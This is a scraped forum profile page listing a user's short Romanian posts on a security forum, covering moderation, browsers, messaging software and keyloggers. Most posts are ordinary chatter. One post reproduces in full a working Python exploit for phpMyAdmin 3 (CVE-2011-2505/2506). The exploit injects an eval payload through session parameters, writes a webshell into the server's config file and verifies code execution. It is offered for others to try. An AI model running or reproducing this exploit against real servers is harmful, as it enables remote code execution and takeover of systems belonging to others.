-
Posts
18801 -
Joined
-
Last visited
-
Days Won
745
Everything posted by Nytro
-
Da, cu tricourile am vazut si eu. Dar imi plac astea, descopar si eu ce prieteni ratati pe care nu ii duce capul am...
-
Calmeaza-te
-
Tinkode nu respecta staff-ul? Nu e de capul lui. Suntem o echipa, nu face fiecare ce vrea. Si nu se ia actiuni fara a fi gandite in prealabil. Plm, baui
-
Cui te adresezi? "Scotei"...
-
O parte dintre cei care contribuie pozitiv au primit VIP. O alta parte probabil va priimi, dar cu timpul. O parte dintre cei care "contribuie negativ" au primit ban cel putin o data, altii vor primi in timp. Oricum, banurile nu se vor da aiurea.
-
Detalii: Eminem Killed by Romanian Malware Gang - MalwareCity : Computer Security Blog
-
Sunt si ei oameni, interesati de IT. Si eu am dat la STS, dar la ce examen a fost la mate-fizica... Si nu sunt politisti, se ocupa cu alte lucruri ei, nu vor sa va "agate" pe voi, nici nu ar avea de ce.
-
Nu e bun, e prea simplu su complet detectabil. Alternative vezi la "Programe Hack" - Spytector, Ardamax sau ce altele mai sunt.
-
"Powered by WordPress" Interesant...
-
Topic inchis.
-
Si el e tepar? Toata lumea "e" tepar? Adu si tu niste dovezi ceva. Sau vrei sa zici ca e vorba de aceeasi persoana: http://rstcenter.com/forum/31244-vand-realizez-jammere-bruiaz-pe-8-2-mhz.rst ?
-
Se da admitere la matematica (alegere dintre algebra, analiza si geometrie cred) si informatica. Parca un singur examen cu mate-info a fost. Se intra si cu 5.05, cam asa. Adica nu dau foarte multi si pica destui.
-
"God" - SysOp-ul, e baiat destept, nu cred ca e un pusti de 12 ani. Poti vorbi cu el, probabil vei avea VIP+, deci nu iti faci griji cu ratia.
-
Instant Messaging digsby is a multiprotocol IM client that lets you chat with all your friends on AIM, MSN, Yahoo, ICQ, Google Talk, and Jabber with one simple to manage buddy list. Email Notifications digsby is an email notification tool that alerts you of new email and lets you perform actions such as 'Delete' or 'Report Spam' with just one click. Social Networking digsby is a social networking tool that alerts you of events like new messages and gives you a live Newsfeed of what your friends are up to. Video: http://www.youtube.com/watch?v=16grAzndW9w Download: http://www.digsby.com/
-
w xp / cel mai potrivit browser
Nytro replied to 1749's topic in Sisteme de operare si discutii hardware
Firefox are probleme mari cu dezalocarea memoriei. Deschizi si tu 7 tab-uri, le inchizi, ramai cu o singura pagina de 3 KB deschisa si te trezesti ca iti mananca 170 MB de memorie. Firefox e util daca te folosesti de pluginuri mai ales, sau daca ai nevoie de setari mai avansate. Desi eu folosesc Firefox, recomand Chrome. -
Trebuie sa inlocuiesti "//TODO" cu o bucata de cod, iar codul asa cum este sa afiseze 31337. E o "smecherie".
-
Serverul e componenta care face chestiile "naspa" de aceea serverul e detectabil. Clientul doar "comanda" serverului ce sa faca.
-
Mozilla Firefox Download: http://ftp.mozilla.org/pub/mozilla.org/firefox/nightly/latest-mozilla-aurora/firefox-7.0a2.en-US.win32.installer.exe
-
Alt topic de 2 lei. Mai inchidem din ele...
-
Are ban de mult dar nu bate ochiu' pana la ha5hz0r Banned
-
Nu vazusem Nu stiu, sa vad daca se poate face ceva...
-
phpMyAdmin3 (pma3) Remote Code Execution Exploit #!/usr/bin/env python # coding=utf-8 # pma3 - phpMyAdmin3 remote code execute exploit # Author: wofeiwo<wofeiwo@80sec.com<script type="text/javascript"> /* <![CDATA[ */ (function(){try{var s,a,i,j,r,c,l=document.getElementById("__cf_email__");a=l.className;if(a){s='';r=parseInt(a.substr(0,2),16);for(j=2;a.length-j;j+=2){c=parseInt(a.substr(j,2),16)^r;s+=String.fromCharCode(c);}s=document.createTextNode(s);l.parentNode.replaceChild(s,l);}}catch(e){}})(); /* ]]> */ </script>> # Thx Superhei # Tested on: 3.1.1, 3.2.1, 3.4.3 # CVE: CVE-2011-2505, CVE-2011-2506 # Date: 2011-07-08 # Have fun, DO *NOT* USE IT TO DO BAD THING. ################################################ # Requirements: 1. "config" directory must created&writeable in pma directory. # 2. session.auto_start = 1 in php.ini configuration. import os,sys,urllib2,re def usage(program): print "PMA3 (Version below 3.3.10.2 and 3.4.3.1) remote code execute exploit" print "Usage: %s <PMA_url>" % program print "Example: %s http://www.test.com/phpMyAdmin" % program sys.exit(0) def main(args): try: if len(args) < 2: usage(args[0]) if args[1][-1] == "/": args[1] = args[1][:-1] # ??????????token??sessionid??sessionid??phpMyAdmin???????µ? print "[+] Trying get form token&session_id.." content = urllib2.urlopen(args[1]+"/index.php").read() r1 = re.findall("token=(\w{32})", content) r2 = re.findall("phpMyAdmin=(\w{32,40})", content) if not r1: r1 = re.findall("token\" value=\"(\w{32})\"", content) if not r2: r2 = re.findall("phpMyAdmin\" value=\"(\w{32,40})\"", content) if len(r1) < 1 or len(r2) < 1: print "[-] Cannot find form token and session id...exit." sys.exit(-1) token = r1[0] sessionid = r2[0] print "[+] Token: %s , SessionID: %s" % (token, sessionid) # ??????????swekey.auth.lib.php????$_SESSION??? print "[+] Trying to insert payload in $_SESSION.." uri = "/libraries/auth/swekey/swekey.auth.lib.php?session_to_unset=HelloThere&_SESSION[ConfigFile0][Servers][*/eval(getenv('HTTP_CODE'));/*][host]=Hacked+By+PMA&_SESSION[ConfigFile][Servers][*/eval(getenv('HTTP_CODE'));/*][host]=Hacked+By+PMA" url = args[1]+uri opener = urllib2.build_opener() opener.addheaders.append(('Cookie', 'phpMyAdmin=%s; pma_lang=en; pma_mcrypt_iv=ILXfl5RoJxQ%%3D; PHPSESSID=%s;' % (sessionid, sessionid))) urllib2.install_opener(opener) urllib2.urlopen(url) # ????setup???shell print "[+] Trying get webshell.." postdata = "phpMyAdmin=%s&tab_hash=&token=%s&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save" % (sessionid, token) url = args[1]+"/setup/config.php" # print "[+]Postdata: %s" % postdata urllib2.urlopen(url, postdata) print "[+] All done, pray for your lucky!" # ??????????????shell url = args[1]+"/config/config.inc.php" opener.addheaders.append(('Code', 'phpinfo();')) urllib2.install_opener(opener) print "[+] Trying connect shell: %s" % url result = re.findall("System \</td\>\<td class=\"v\"\>(.*)\</td\>\</tr\>", urllib2.urlopen(url).read()) if len(result) == 1: print "[+] Lucky u! System info: %s" % result[0] print "[+] Shellcode is: eval(getenv('HTTP_CODE'));" else: print "[-] Cannot get webshell." except Exception, e: print e if __name__ == "__main__" : main(sys.argv) Nu l-am incercat, pe cine intereseaza sa incerce. Sursa: phpMyAdmin3 (pma3) Remote Code Execution Exploit
-
Probleme tehnice. Practic nu stiu daca iti vei recupera mesajul.